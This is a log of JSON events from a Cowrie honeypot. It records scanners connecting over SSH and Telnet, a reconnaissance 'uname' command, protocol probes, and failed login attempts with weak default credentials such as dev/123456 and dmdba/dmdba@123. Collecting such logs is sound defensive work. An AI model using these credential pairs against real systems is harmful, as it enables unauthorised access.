{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:49.030137Z","src_ip":"192.109.200.237","session":"62a2160e1738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:49.116971Z","src_ip":"192.109.200.237","session":"62a2160e1738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:49.121608Z","src_ip":"192.109.200.237","session":"62a2160e1738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55984,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b3766ccde87","protocol":"ssh","message":"New connection: 192.109.200.237:55984 (159.203.135.109:22) [session: 6b3766ccde87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:51.487823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:51.492341Z","src_ip":"192.109.200.237","session":"6b3766ccde87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:51.574277Z","src_ip":"192.109.200.237","session":"6b3766ccde87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:51.820310Z","src_ip":"192.109.200.237","session":"6b3766ccde87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.68.2","src_port":54474,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b3c5bbb19d8","protocol":"telnet","message":"New connection: 172.210.68.2:54474 (159.203.135.109:23) [session: 5b3c5bbb19d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:52.738793Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:52.904805Z","src_ip":"192.109.200.237","session":"6b3766ccde87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.756463527679443,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:53.422100Z","src_ip":"34.34.140.227","session":"f619f3275085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55986,"dst_ip":"159.203.135.109","dst_port":22,"session":"e67c67b7a572","protocol":"ssh","message":"New connection: 192.109.200.237:55986 (159.203.135.109:22) [session: e67c67b7a572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:54.506603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:54.511270Z","src_ip":"192.109.200.237","session":"e67c67b7a572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:54.593451Z","src_ip":"192.109.200.237","session":"e67c67b7a572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:54.950742Z","src_ip":"192.109.200.237","session":"e67c67b7a572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60078,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb140f5a7c5","protocol":"telnet","message":"New connection: 34.34.140.227:60078 (10.17.0.5:23) [session: 3cb140f5a7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.194019Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.199797Z","src_ip":"34.34.140.227","session":"3cb140f5a7c5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.204082Z","src_ip":"34.34.140.227","session":"3cb140f5a7c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08919358253479004,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.283092Z","src_ip":"34.34.140.227","session":"3cb140f5a7c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60088,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d4f34c91c4","protocol":"telnet","message":"New connection: 34.34.140.227:60088 (10.17.0.5:23) [session: 30d4f34c91c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.356954Z"}
{"eventid":"cowrie.login.failed","username":"b'a>\\xc0\\xc1\\x12\\x06'","password":"b'\\x8c\\x0b\\xa3\\xa5\\xd9\\xf4\\x8e\\xa7\\xc0\\x1a\\xbfX<\\xb8h\\x8f\\x05\\xf3\\xe5\\xcd\\xacI\\x8f'","message":"login attempt [b'a>\\xc0\\xc1\\x12\\x06'/b'\\x8c\\x0b\\xa3\\xa5\\xd9\\xf4\\x8e\\xa7\\xc0\\x1a\\xbfX<\\xb8h\\x8f\\x05\\xf3\\xe5\\xcd\\xacI\\x8f'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.366706Z","src_ip":"34.34.140.227","session":"30d4f34c91c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60100,"dst_ip":"10.17.0.5","dst_port":23,"session":"c375797eaa93","protocol":"telnet","message":"New connection: 34.34.140.227:60100 (10.17.0.5:23) [session: c375797eaa93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.521040Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60114,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa72af6d171a","protocol":"telnet","message":"New connection: 34.34.140.227:60114 (10.17.0.5:23) [session: aa72af6d171a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.679146Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60120,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32004dae8fe","protocol":"telnet","message":"New connection: 34.34.140.227:60120 (10.17.0.5:23) [session: b32004dae8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.836251Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60122,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4726f50428f","protocol":"telnet","message":"New connection: 34.34.140.227:60122 (10.17.0.5:23) [session: d4726f50428f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:55.989882Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:56.035604Z","src_ip":"192.109.200.237","session":"e67c67b7a572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60138,"dst_ip":"10.17.0.5","dst_port":23,"session":"39519f5f5a63","protocol":"telnet","message":"New connection: 34.34.140.227:60138 (10.17.0.5:23) [session: 39519f5f5a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:56.144390Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60150,"dst_ip":"10.17.0.5","dst_port":23,"session":"523a34e9246f","protocol":"telnet","message":"New connection: 34.34.140.227:60150 (10.17.0.5:23) [session: 523a34e9246f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:56.297995Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60160,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf1fa4f9487","protocol":"telnet","message":"New connection: 34.34.140.227:60160 (10.17.0.5:23) [session: 3cf1fa4f9487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:56.451741Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60172,"dst_ip":"10.17.0.5","dst_port":23,"session":"b52820fdb001","protocol":"telnet","message":"New connection: 34.34.140.227:60172 (10.17.0.5:23) [session: b52820fdb001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:56.606338Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60180,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf26942fe47d","protocol":"telnet","message":"New connection: 34.34.140.227:60180 (10.17.0.5:23) [session: cf26942fe47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:56.841975Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60188,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b000638caac","protocol":"telnet","message":"New connection: 34.34.140.227:60188 (10.17.0.5:23) [session: 8b000638caac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:56.997480Z"}
{"eventid":"cowrie.session.closed","duration":0.004777669906616211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.002119Z","src_ip":"34.34.140.227","session":"8b000638caac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60194,"dst_ip":"10.17.0.5","dst_port":23,"session":"f917d79faf0a","protocol":"telnet","message":"New connection: 34.34.140.227:60194 (10.17.0.5:23) [session: f917d79faf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.153395Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60204,"dst_ip":"10.17.0.5","dst_port":23,"session":"724d1e863239","protocol":"telnet","message":"New connection: 34.34.140.227:60204 (10.17.0.5:23) [session: 724d1e863239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.308030Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db70a4a3f00","protocol":"telnet","message":"New connection: 34.34.140.227:60214 (10.17.0.5:23) [session: 2db70a4a3f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.464941Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60230,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b095b506749","protocol":"telnet","message":"New connection: 34.34.140.227:60230 (10.17.0.5:23) [session: 8b095b506749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.621528Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55998,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b03f01d50c2","protocol":"ssh","message":"New connection: 192.109.200.237:55998 (159.203.135.109:22) [session: 7b03f01d50c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.646818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.651743Z","src_ip":"192.109.200.237","session":"7b03f01d50c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.734972Z","src_ip":"192.109.200.237","session":"7b03f01d50c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60234,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c9411d905a","protocol":"telnet","message":"New connection: 34.34.140.227:60234 (10.17.0.5:23) [session: 25c9411d905a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.776490Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60240,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe82f032f40e","protocol":"telnet","message":"New connection: 34.34.140.227:60240 (10.17.0.5:23) [session: fe82f032f40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.940698Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:57.984054Z","src_ip":"192.109.200.237","session":"7b03f01d50c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60252,"dst_ip":"10.17.0.5","dst_port":23,"session":"77810d284b62","protocol":"telnet","message":"New connection: 34.34.140.227:60252 (10.17.0.5:23) [session: 77810d284b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:58.095299Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60260,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0a792db015e","protocol":"telnet","message":"New connection: 34.34.140.227:60260 (10.17.0.5:23) [session: f0a792db015e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:58.249249Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60274,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f562e9062bd","protocol":"telnet","message":"New connection: 34.34.140.227:60274 (10.17.0.5:23) [session: 1f562e9062bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:58.403232Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:58.408140Z","src_ip":"34.34.140.227","session":"1f562e9062bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60288,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca4830a55a8f","protocol":"telnet","message":"New connection: 34.34.140.227:60288 (10.17.0.5:23) [session: ca4830a55a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:58.564771Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60296,"dst_ip":"10.17.0.5","dst_port":23,"session":"b682f560b705","protocol":"telnet","message":"New connection: 34.34.140.227:60296 (10.17.0.5:23) [session: b682f560b705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:58.719358Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ed2c1e586c7","protocol":"telnet","message":"New connection: 34.34.140.227:60302 (10.17.0.5:23) [session: 4ed2c1e586c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:58.876582Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60308,"dst_ip":"10.17.0.5","dst_port":23,"session":"76919a441209","protocol":"telnet","message":"New connection: 34.34.140.227:60308 (10.17.0.5:23) [session: 76919a441209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.035522Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.068924Z","src_ip":"192.109.200.237","session":"7b03f01d50c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60324,"dst_ip":"10.17.0.5","dst_port":23,"session":"436fc3cd81bc","protocol":"telnet","message":"New connection: 34.34.140.227:60324 (10.17.0.5:23) [session: 436fc3cd81bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.190120Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60332,"dst_ip":"10.17.0.5","dst_port":23,"session":"42c24e7ec774","protocol":"telnet","message":"New connection: 34.34.140.227:60332 (10.17.0.5:23) [session: 42c24e7ec774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.345373Z"}
{"eventid":"cowrie.session.closed","duration":0.005674839019775391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.350927Z","src_ip":"34.34.140.227","session":"42c24e7ec774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60334,"dst_ip":"10.17.0.5","dst_port":23,"session":"e43fca7f5a09","protocol":"telnet","message":"New connection: 34.34.140.227:60334 (10.17.0.5:23) [session: e43fca7f5a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.500802Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60336,"dst_ip":"10.17.0.5","dst_port":23,"session":"2abfbf8ea57d","protocol":"telnet","message":"New connection: 34.34.140.227:60336 (10.17.0.5:23) [session: 2abfbf8ea57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.654527Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 3962","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 3962] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.659747Z","src_ip":"34.34.140.227","session":"2abfbf8ea57d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":60340,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e4a037e243f","protocol":"telnet","message":"New connection: 34.34.140.227:60340 (10.17.0.5:23) [session: 8e4a037e243f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.814367Z"}
{"eventid":"cowrie.session.closed","duration":0.005388975143432617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:59.819630Z","src_ip":"34.34.140.227","session":"8e4a037e243f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49552,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e5955a07672","protocol":"ssh","message":"New connection: 192.109.200.237:49552 (159.203.135.109:22) [session: 1e5955a07672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:00.571637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:00.576414Z","src_ip":"192.109.200.237","session":"1e5955a07672","protocol":"ssh"}
